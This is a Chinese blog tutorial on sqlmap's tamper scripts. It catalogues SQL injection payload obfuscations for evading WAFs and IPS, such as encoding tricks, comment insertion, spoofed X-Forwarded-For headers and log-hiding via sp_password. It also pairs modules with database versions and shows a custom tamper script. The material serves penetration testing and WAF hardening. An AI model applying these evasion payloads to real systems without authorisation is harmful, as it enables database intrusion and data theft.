sqlmap之tamper绕过

在面对设有IPS、WAF的安全系统时,sqlmap的tamper模块能帮助绕过防御。本文介绍了tamper的使用方法、数据库版本对应关系,并强调了自定义tamper的重要性,以实现更有效的SQL注入攻击。
摘要由CSDN通过智能技术生成

sqlmap在sql注入中的地位无需多说,对于布有IPS、WAF等安防系统的服务器而言,常规的注入攻击很可能被BAN掉,这时候需要利用sqlmap中tamper模块进行绕过,本文介绍tamper绕过规则和使用方法,更关键的是这些方法对于WAF绕过有很好的借鉴意义。

sqlmap version 1.5#stable 共64个脚本:

一、模块介绍

1.使用方法

sqlmap [options] --tamper "模块1,模块2,···"

eg:

# 查看tamper列表
sqlmap --list-tamper

# tamper注入
sqlmap -u "http://11931-odufi26we.gg.com/index.php?id=1" --tamper "between,randomcase,space2comment"

2.功能说明

模块功能实例
apostrophemask.py对单引号'用URL-UTF8编码'==>%EF%BC%87
apostrophenullencode.py对单引号'用非法的双UNICODE编码'==>%00%27
unmagicquotes.py将单引号'替换成多个字节
并在结尾处添加注释符
' UNION SELECT==>%BF%27 UNION SELECT#
escapequotes.py斜杠转义单引号'和双引号"AND id='1' ==> AND id=\'1\'
base64encode.py对payload进行一次BASE64编码1 AND 1=1 ==> MSBBTkQgMT0x
charunicodeencode.py对payload进行一次URL-UNICODE编码SELECT ==>
%u0053%u0045%u004C%u0045%u0043%u0054
charunicodeescape.py对payload进行UNICODE格式转义编码SELECT ==>
\u0053\u0045\u004C\u0045\u0043\u0054
htmlencode.py对payload中非字母非数字字符进行HTML编码AND id='1' ==> AND id='1'
charencode.py对payload进行一次URL编码SELECT ==> %53%45%4C%45%43%54
chardoubleencode.py对payload进行两次URL编码SELECT ==>
%2553%2545%254C%2545%2543%2554
overlongutf8.py将payload中非字母非数字字符用超长UTF8编码' UNION SELECT==>%C0%A7UNION%C0%AASELECT
overlongutf8more.py将payload中所有字符用超长UTF8编码SELECT==>
%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94
equaltolike.py将payload中所有=替换成LIKE1 AND id=1 ==> 1 AND id LIKE 1
equaltorlike.py将payload中所有=替换成RLIKE1 AND id=1 ==> 1 AND id RLIKE 1
bluecoat.py将SQL语句中空格字符' '替换为%09
并替换=LIKE
1 AND id=1 ==> 1%09AND%09id LIKE 1
space2dash.py将空格字符' '替换成:--+随机字符串+\nUNION SELECT==>UNION--gFdjw%0ASELECT
space2hash.py将MySQL payload中空格字符' '替换成:
#+随机字符串+\n
UNION SELECT==>UNION#gFdjw%0ASELECT
space2morehash.py将MySQL payload中空格字符' '替换成:
#+随机字符串+\n
UNION SELECT==>UNION#kHeeR%0ASELECT
space2mssqlblank.py将MsSQL payload中空格字符' '替换成
随机的空字符:(%01, %02, %03, %04···%0F)
UNION SELECT * FROM user==>
UNION%03SELECT%0A*%01FROM%05user
space2mssqlhash.py将MySQL payload中空格字符' '替换成:#+\nUNION SELECT==>UNION#%0ASELECT
space2mysqlblank.py将MySQL payload中空格字符' '替换成
随机的空字符:(%09, %0A, %0B, %0C, %0D)
UNION SELECT * FROM user==>
UNION%0ASELECT%0C*%0DFROM%09user
space2mysqldash.py将MySQL payload中空格字符' '替换成:--+\nUNION SELECT==>UNION--%0ASELECT
space2plus.py将空格字符' '替换成+UNION SELECT==>UNION+SELECT
space2randomblank.py将空格字符' '替换成随机的空字符:
(%09, %0A, %0C, %0D)
UNION SELECT * FROM user==>
UNION%0ASELECT%0C*%0AFROM%09user
0eunion.pyUNION语句替换<int> UNION==><int>e0UNION
unionalltounion.pyUNION语句替换UNION ALL SELECT==>UNION SELECT
misunion.pyUNION语句替换UNION==>-.1UNION
dunion.pyUNION语句替换<int> UNION ==> <int>DUNION
sleep2getlock.pySLEEP语句替换SLEEP(5)==>GET_LOCK('ETgP',5)
ifnull2casewhenisnull.pyIFNULL语句替换IFNULL(A, B)==>
CASE WHEN ISNULL(A) THEN (B) ELSE (A) END
ifnull2ifisnull.pyIFNULL语句替换IFNULL(A, B)==>IF(ISNULL(A), B, A)
commalesslimit.pyMySQL payload中LIMIT语句替换LIMIT M, N==>LIMIT N OFFSET M
commalessmid.pyMySQL payload中MID语句替换MID(A, B, C)==>MID(A FROM B FOR C)
hex2char.pyMySQL payload中CONCAT(CHAR(),…)语句替换0x<hex>==>CONCAT(CHAR(),…)
between.pyBETWEEN语句替换=<>AND A=B ==> AND A BETWEEN B AND B
AND A>B ==>AND A NOT BETWEEN 0 AND B
concat2concatws.pyMySQL payload中CONCAT语句替换CONCAT(A, B)==>
CONCAT_WS(MID(CHAR(0), 0, 0), A, B)
space2comment.py将空格字符' '替换成注释符/**/UNION SELECT==>UNION/**/SELECT
space2morecomment.py将MySQL payload中空格字符' '替换成
注释符/**_**/
UNION SELECT==>UNION/**_**/SELECT
commentbeforeparentheses.py在括号前加上/**/注释()==>/**/()
halfversionedmorekeywords.py在关键字前添加MySQL版本注释信息SELECT A AND B ==> /*!0SELECT A /*!0AND B
modsecurityversioned.py用注释来包围完整的MySQL查询语句' UNION SELECT * FROM user#==>
' /*!UNION SELECT * FROM user*/#
modsecurityzeroversioned.py用注释来包围完整的MySQL查询语句' UNION SELECT * FROM user#==>
' /*!000UNION SELECT * FROM user*/#
randomcomments.py在SQL关键字的字符之间随机添加注释符SELECT==>S/**/E/**/LECT
versionedkeywords.py对MySQL payload中非函数的关键字进行注释UNION SELECT user()==>
/*!UNION*/ /*!SELECT*/ user()
versionedmorekeywords.py对MySQL payload中所有关键字进行注释UNION SELECT user()==>
/*!UNION*/ /*!SELECT*/ /*!user*/()
appendnullbyte.py在payload结束位置加零字节字符%001 AND 1=1 ==> 1 AND 1=1%00
binary.py在payload可能位置插入关键字binary1 UNION SELECT NULL==>
1 UNION SELECT binary NULL
greatest.py>替换成GREATEST语句1 AND A > B ==> 1 AND GREATEST(A, B+1)=A
least.py>替换成LEAST语句1 AND A > B ==> 1 AND LEAST(A-1, B)=B
informationschemacomment.py在"information_schema"后面加上/**/select * from information_schema.tables==>
select * from information_schema/**/.tables
lowercase.py将所有大写字符替换成小写字符SELECT==>select
uppercase.py将所有小写字符替换成大写字符select==>SELECT
multiplespaces.py在SQL关键字旁添加多个空格符' 'UNION%20SELECT==>%20UNION%20%20SELECT%20
percentage.pypayload中每个字符前加%SELECT==>%S%E%L%E%C%T
plus2concat.py+替换成MsSQL的CONCAT()语句select char(102)+char(107)==>
select concat(char(102),char(107))
plus2fnconcat.py+替换成MsSQL的{fn CONCAT()}语句select char(102)+char(107)==>
select {fn concat(char(102),char(107))}
randomcase.py对每个SQL关键字的字符替换成随机大小写SELECT==>SEleCt
schemasplit.py拆分数据库标识符testdb.users==>testdb 9.e.users
sp_password.py在MsSQL payload后添加ssp_password
用于混淆数据库日志
UNION SELECT * FROM user#==>
UNION SELECT * FROM user#ssp_password
substring2leftright.py将PostgreSQL中SUBSTRING语句
LEFTRIGHT代替
SUBSTRING((SELECT *)::text FROM 1 FOR 1)
==>LEFT((SELECT *)::text,1)
symboliclogical.pyANDOR替换成&&||SELECT 1 or 1=1==>SELECT 1 %26%26 1=1
luanginx.py针对LUA-Nginx WAF进行绕过
varnish.py添加一个HTTP头X-originating-IP
用来绕过Varnish防火墙
xforwardedfor.py添加伪造的HTTP头X-Forwarded-For

二、测试版本

使用tamper时,要根据数据库类型和版本选择相应模块,下面列举经过测试验证的模块和数据库版本的对应关系:( 参考源码注释信息,传送门:https://github.com/sqlmapproject/sqlmap/tree/master/tamper )

1.MySQL

MySQL 版本测试模块
4.0/5.0space2hash
4.0/5.0/5.5between, charencode, equaltolike, equaltorlike, greatest, hex2char, least, lowercase, randomcase, space2comment, space2randomblank, uppercase
5.1bluecoat, space2mysqlblank
5.0/5.5commalesslimit, commalessmid, ifnull2casewhenisnull, ifnull2ifisnull, sleep2getlock, space2morecomment
5.0concat2concatws, modsecurityversioned, modsecurityzeroversioned
5.1.56charunicodeencode
5.1.56/5.5.11percentage, versionedmorekeywords
4.0.18/5.0.22halfversionedmorekeywords
4.0.18/5.1.56/5.5.11versionedkeywords
5.1.41space2morehash
未明确0eunion, binary, commentbeforeparentheses, misunion, space2mssqlhash, space2mysqldash

2.MsSQL

MsSQL 版本测试模块
2005/2000charunicodeencode, percentage, space2mssqlblank
2005between, charencode, equaltolike, lowercase, randomcase, space2comment, space2randomblank, uppercase
2008plus2fnconcat
2012plus2concat
未明确0eunion, commentbeforeparentheses, sp_password, space2dash, space2mssqlhash, space2mysqldash

3.PostgreSQL

PostgreSQL 版本测试模块
8.3/8.4/9.0between, charencode, greatest, least, lowercase, randomcase, space2comment, space2randomblank, uppercase
9.0percentage
9.0.3charunicodeencode
9.6.12substring2leftright
未明确commentbeforeparentheses

4.Oracle

Oracle 版本测试模块
10gbetween, charencode, greatest, least, lowercase, randomcase, space2comment, space2randomblank, uppercase
未明确dunion, commentbeforeparentheses

5.Access

Access 版本测试模块
未明确appendnullbyte

6.SQLite

SQLite 版本测试模块
3randomcase
未明确space2dash

7.未测试模块

如果使用以上有数据库对应关系的模块不能成功注入,可尝试以下模块:

未测试模块
apostrophemask, apostrophenullencode, base64encode, chardoubleencode, charunicodeescape, escapequotes, htmlencode, informationschemacomment, luanginx, multiplespaces, overlongutf8, overlongutf8more, randomcomments, schemasplit, space2plus, symboliclogical, unionalltounion, unmagicquotes, varnish, xforwardedfor

注意:在尝试利用tamper进行注入时,要针对性选择使用,而不是一次性用越多的tamper效果越好。不要滥用tamper,有时不加tamper注入效果会更好。

三、自定义tamper

tamper具有很强灵活性,可以根据需要对模块进行修改、添加,tamper模块所在目录为:/usr/share/sqlmap/tamper/。在已有tamper模块基础上做修改很方便,比如要将所有的or替换成Or,则可以先找功能相似的模块,如equaltolike.py,除去注释内容,源码如下:

#!/usr/bin/env python
import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload
    
    if payload:
        retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
        
    return retVal

根据需要,只需将其中的语句稍作修改即可,如下:

#!/usr/bin/env python
import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload
    
    if payload:
        retVal = re.sub(r"OR", "Or", retVal)
        retVal = re.sub(r"or", "Or", retVal)
        retVal = re.sub(r"oR", "Or", retVal)
        
    return retVal

将模块命令为or2Or.py,然后就可以--tamper "or2Or.py"正常使用啦,可以通过-v 3参数查看payload是否成功变形。

  • 2
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值